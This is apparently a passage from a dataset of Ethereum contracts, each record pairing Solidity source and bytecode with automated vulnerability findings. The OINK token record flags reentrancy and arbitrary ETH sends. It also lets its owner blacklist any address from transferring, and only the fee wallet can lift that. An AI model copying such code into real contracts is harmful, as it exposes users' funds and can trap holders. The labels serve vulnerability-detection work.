610d8057600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a031681565b600d805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561072c5780601f106107015761010080835404028352916020019161072c565b6000610e2433610e7b565b821115610e3057600080fd5b6107518383611405565b60075481565b601060205281600052604060002081815481101515610e5b57fe5b600091825260209091206002909102018054600190910154909250905082565b600080610e888342611076565b600160a060020a038416600090815260016020526040902054910190610751908263ffffffff6111a716565b600454600160a060020a031681565b600b5460009060ff1615610ed657600080fd5b6107518383611422565b600354600090600160a060020a0316331480610f065750600554600160a060020a031633145b1515610f1157600080fd5b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519185169163a9059cbb916044808201926020929091908290030181600087803b158015610f8057600080fd5b505af1158015610f94573d6000803e3d6000fd5b505050506040513d6020811015610faa57600080fd5b50519392505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314806110015750600554600160a060020a031633145b151561100c57600080fd5b600160a060020a03166000908152600f60205260409020805460ff19166001179055565b600354600160a060020a0316331461104757600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805b600160a060020a03841660009081526010602052604090205481101561111c57600160a060020a03841660009081526010602052604090208054849190839081106110c157fe5b906000526020600020906002020160010154111561111457600160a060020a03841660009081526010602052604090208054829081106110fd57fe5b906000526020600020906002020160000154820191505b60010161107a565b5092915050565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600b5460009060ff161561119c57600080fd5b6107808484846114bb565b6000828211156111b357fe5b50900390565b6000808315156111cc576000915061111c565b508282028284828115156111dc57fe5b041461075157fe5b60008082848115156111f257fe5b04949350505050565b60008282018381101561075157fe5b600354600090600160a060020a03163314806112305750600554600160a060020a031633145b151561123b57600080fd5b60005461124e908363ffffffff6111fb16565b6000908155600160a060020a038416815260016020526040902054611279908363ffffffff6111fb16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561136a57336000908152600260209081526040808320600160a060020a038816845290915281205561139f565b61137a818463ffffffff6111a716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600b5460009060ff161561141857600080fd5b6107518383611634565b336000908152600260209081526040808320600160a060020a0386168452909152812054611456908363ffffffff6111fb16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000600160a060020a03831615156114d257600080fd5b600160a060020a0384166000908152600160205260409020548211156114f757600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561152757600080fd5b600160a060020a038416600090815260016020526040902054611550908363ffffffff6111a716565b600160a060020a038086166000908152600160205260408082209390935590851681522054611585908363ffffffff6111fb16565b600160a060020a0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546115c9908363ffffffff6111a716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600061075183836000600160a060020a038316151561165257600080fd5b3360009081526001602052604090205482111561166e57600080fd5b3360009081526001602052604090205461168e908363ffffffff6111a716565b3360009081526001602052604080822092909255600160a060020a038516815220546116c0908363ffffffff6111fb16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81548183558181111561174a5760020281600202836000526020600020918201910161174a919061174f565b505050565b61177391905b8082111561176f5760008082556001820155600201611755565b5090565b905600a165627a7a72305820d842146c93dc8d39a50cace699555f6c997fa2e0aec21602714947a449db86200029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,724 |
0xe70e342ede5e093a0269f330bd10c6bb25cafbf3
|
//SPDX-License-Identifier: UNLICENSED
/*
https://piggysdream.finance
https://t.me/oinkportal
https://twitter.com/oinkpiggydream
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OINK is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"A Piggys Dream";
string public constant symbol = unicode"OINK";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (2 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < 12 && sell < 12 );
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610576578063db92dbb61461058b578063dcb0e0ad146105a0578063dd62ed3e146105c057600080fd5b8063a9059cbb14610501578063b2289c6214610521578063b515566a14610541578063c3c8cd801461056157600080fd5b80638da5cb5b116100d15780638da5cb5b1461047e57806394b8d8f21461049c57806395d89b41146104bc5780639e78fb4f146104ec57600080fd5b80636fc3eaec1461041457806370a0823114610429578063715018a61461044957806373f54a111461045e57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461039057806345596e2e146103a657806349bd5a5e146103c6578063590f897e146103fe57600080fd5b8063313ce567146102fa57806331c2d8471461032157806332d873d8146103415780633bbac5791461035757600080fd5b806318160ddd116101b657806318160ddd1461028a5780631940d020146102af57806323b872dd146102c557806327f3a72a146102e557600080fd5b806306fdde03146101e8578063095ea7b3146102385780630b78f9c01461026857600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506102226040518060400160405280600e81526020016d412050696767797320447265616d60901b81525081565b60405161022f9190611736565b60405180910390f35b34801561024457600080fd5b506102586102533660046117b0565b610606565b604051901515815260200161022f565b34801561027457600080fd5b506102886102833660046117dc565b61061c565b005b34801561029657600080fd5b50678ac7230489e800005b60405190815260200161022f565b3480156102bb57600080fd5b506102a1600c5481565b3480156102d157600080fd5b506102586102e03660046117fe565b6106af565b3480156102f157600080fd5b506102a1610703565b34801561030657600080fd5b5061030f600981565b60405160ff909116815260200161022f565b34801561032d57600080fd5b5061028861033c366004611855565b610713565b34801561034d57600080fd5b506102a1600d5481565b34801561036357600080fd5b5061025861037236600461191a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039c57600080fd5b506102a160095481565b3480156103b257600080fd5b506102886103c1366004611937565b61079f565b3480156103d257600080fd5b506008546103e6906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b34801561040a57600080fd5b506102a1600a5481565b34801561042057600080fd5b50610288610865565b34801561043557600080fd5b506102a161044436600461191a565b610872565b34801561045557600080fd5b5061028861088d565b34801561046a57600080fd5b5061028861047936600461191a565b610901565b34801561048a57600080fd5b506000546001600160a01b03166103e6565b3480156104a857600080fd5b50600e546102589062010000900460ff1681565b3480156104c857600080fd5b50610222604051806040016040528060048152602001634f494e4b60e01b81525081565b3480156104f857600080fd5b5061028861096f565b34801561050d57600080fd5b5061025861051c3660046117b0565b610b74565b34801561052d57600080fd5b506007546103e6906001600160a01b031681565b34801561054d57600080fd5b5061028861055c366004611855565b610b81565b34801561056d57600080fd5b50610288610c9a565b34801561058257600080fd5b50610288610cb0565b34801561059757600080fd5b506102a1610ea2565b3480156105ac57600080fd5b506102886105bb36600461195e565b610eba565b3480156105cc57600080fd5b506102a16105db36600461197b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610613338484610f37565b50600192915050565b6000546001600160a01b0316331461064f5760405162461bcd60e51b8152600401610646906119b4565b60405180910390fd5b600c8210801561065f5750600c81105b61066857600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106bc84848461105b565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106eb9084906119ff565b90506106f8853383610f37565b506001949350505050565b600061070e30610872565b905090565b6007546001600160a01b0316336001600160a01b03161461073357600080fd5b60005b815181101561079b5760006005600084848151811061075757610757611a16565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079381611a2c565b915050610736565b5050565b6000546001600160a01b031633146107c95760405162461bcd60e51b8152600401610646906119b4565b6007546001600160a01b0316336001600160a01b0316146107e957600080fd5b600081116108295760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610646565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761086f81611403565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108b75760405162461bcd60e51b8152600401610646906119b4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461092157600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161085a565b6000546001600160a01b031633146109995760405162461bcd60e51b8152600401610646906119b4565b600e5460ff16156109e65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610646565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611a47565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611a47565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b519190611a47565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061061333848461105b565b6000546001600160a01b03163314610bab5760405162461bcd60e51b8152600401610646906119b4565b60005b815181101561079b5760085482516001600160a01b0390911690839083908110610bda57610bda611a16565b60200260200101516001600160a01b031614158015610c2b575060065482516001600160a01b0390911690839083908110610c1757610c17611a16565b60200260200101516001600160a01b031614155b15610c8857600160056000848481518110610c4857610c48611a16565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9281611a2c565b915050610bae565b6000610ca530610872565b905061086f8161143d565b6000546001600160a01b03163314610cda5760405162461bcd60e51b8152600401610646906119b4565b600e5460ff1615610d275760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610646565b600654610d479030906001600160a01b0316678ac7230489e80000610f37565b6006546001600160a01b031663f305d7194730610d6381610872565b600080610d786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610de0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e059190611a64565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e829190611a92565b50600e805460ff1916600117905542600d556702c68af0bb140000600c55565b60085460009061070e906001600160a01b0316610872565b6000546001600160a01b03163314610ee45760405162461bcd60e51b8152600401610646906119b4565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161085a565b6001600160a01b038316610f995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610646565b6001600160a01b038216610ffa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610646565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108157600080fd5b6001600160a01b0383166110e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610646565b6001600160a01b0382166111475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610646565b600081116111a95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610646565b600080546001600160a01b038581169116148015906111d657506000546001600160a01b03848116911614155b156113a4576008546001600160a01b03858116911614801561120657506006546001600160a01b03848116911614155b801561122b57506001600160a01b03831660009081526004602052604090205460ff16155b156112bd57600e5460ff166112825760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610646565b42600d5460786112929190611aaf565b11156112b957600c546112a484610872565b6112ae9084611aaf565b11156112b957600080fd5b5060015b600e54610100900460ff161580156112d75750600e5460ff165b80156112f157506008546001600160a01b03858116911614155b156113a457600061130130610872565b9050801561138d57600e5462010000900460ff161561138457600b5460085460649190611336906001600160a01b0316610872565b6113409190611ac7565b61134a9190611ae6565b81111561138457600b546008546064919061136d906001600160a01b0316610872565b6113779190611ac7565b6113819190611ae6565b90505b61138d8161143d565b47801561139d5761139d47611403565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113e657506001600160a01b03841660009081526004602052604090205460ff165b156113ef575060005b6113fc85858584866115b1565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561079b573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148157611481611a16565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fe9190611a47565b8160018151811061151157611511611a16565b6001600160a01b0392831660209182029290920101526006546115379130911684610f37565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611570908590600090869030904290600401611b08565b600060405180830381600087803b15801561158a57600080fd5b505af115801561159e573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115bd83836115d3565b90506115cb868686846115f7565b505050505050565b60008083156115f05782156115eb57506009546115f0565b50600a545b9392505050565b60008061160484846116d4565b6001600160a01b038816600090815260026020526040902054919350915061162d9085906119ff565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461165d908390611aaf565b6001600160a01b03861660009081526002602052604090205561167f81611708565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c491815260200190565b60405180910390a3505050505050565b6000808060646116e48587611ac7565b6116ee9190611ae6565b905060006116fc82876119ff565b96919550909350505050565b30600090815260026020526040902054611723908290611aaf565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561176357858101830151858201604001528201611747565b81811115611775576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086f57600080fd5b80356117ab8161178b565b919050565b600080604083850312156117c357600080fd5b82356117ce8161178b565b946020939093013593505050565b600080604083850312156117ef57600080fd5b50508035926020909101359150565b60008060006060848603121561181357600080fd5b833561181e8161178b565b9250602084013561182e8161178b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561186857600080fd5b823567ffffffffffffffff8082111561188057600080fd5b818501915085601f83011261189457600080fd5b8135818111156118a6576118a661183f565b8060051b604051601f19603f830116810181811085821117156118cb576118cb61183f565b6040529182528482019250838101850191888311156118e957600080fd5b938501935b8285101561190e576118ff856117a0565b845293850193928501926118ee565b98975050505050505050565b60006020828403121561192c57600080fd5b81356115f08161178b565b60006020828403121561194957600080fd5b5035919050565b801515811461086f57600080fd5b60006020828403121561197057600080fd5b81356115f081611950565b6000806040838503121561198e57600080fd5b82356119998161178b565b915060208301356119a98161178b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a1157611a116119e9565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a4057611a406119e9565b5060010190565b600060208284031215611a5957600080fd5b81516115f08161178b565b600080600060608486031215611a7957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aa457600080fd5b81516115f081611950565b60008219821115611ac257611ac26119e9565b500190565b6000816000190483118215151615611ae157611ae16119e9565b500290565b600082611b0357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b585784516001600160a01b031683529383019391830191600101611b33565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ba08925f14d700864e2512532588af14c12233c72e0d5c5e1c6c9d683545ea7464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,725 |
0xefb3ba332129cfc31a84ac96974f5c19fa4a6f10
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* SafeMath mul function
* @dev function for safe multiply, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* SafeMath div function
* @dev function for safe devide, throws on overflow.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
/**
* SafeMath sub function
* @dev function for safe subtraction, throws on overflow.
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* SafeMath add function
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier isOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public isOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event NotPausable();
bool public paused = false;
bool public canPause = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
**/
function pause() isOwner whenNotPaused public {
require(canPause == true);
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() isOwner whenPaused public {
require(paused == true);
paused = false;
emit Unpause();
}
/**
* @dev Prevent the token from ever being paused again
**/
function notPausable() isOwner public{
paused = false;
canPause = false;
emit NotPausable();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract StandardToken is Pausable {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
/**
* @dev Returns the total supply of the token
**/
function totalSupply() public constant returns (uint256 supply) {
return totalSupply;
}
/**
* @dev Transfer tokens when not paused
**/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
/**
* @dev transferFrom function to tansfer tokens when token is not paused
**/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
/**
* @dev returns balance of the owner
**/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev approve spender when not paused
**/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
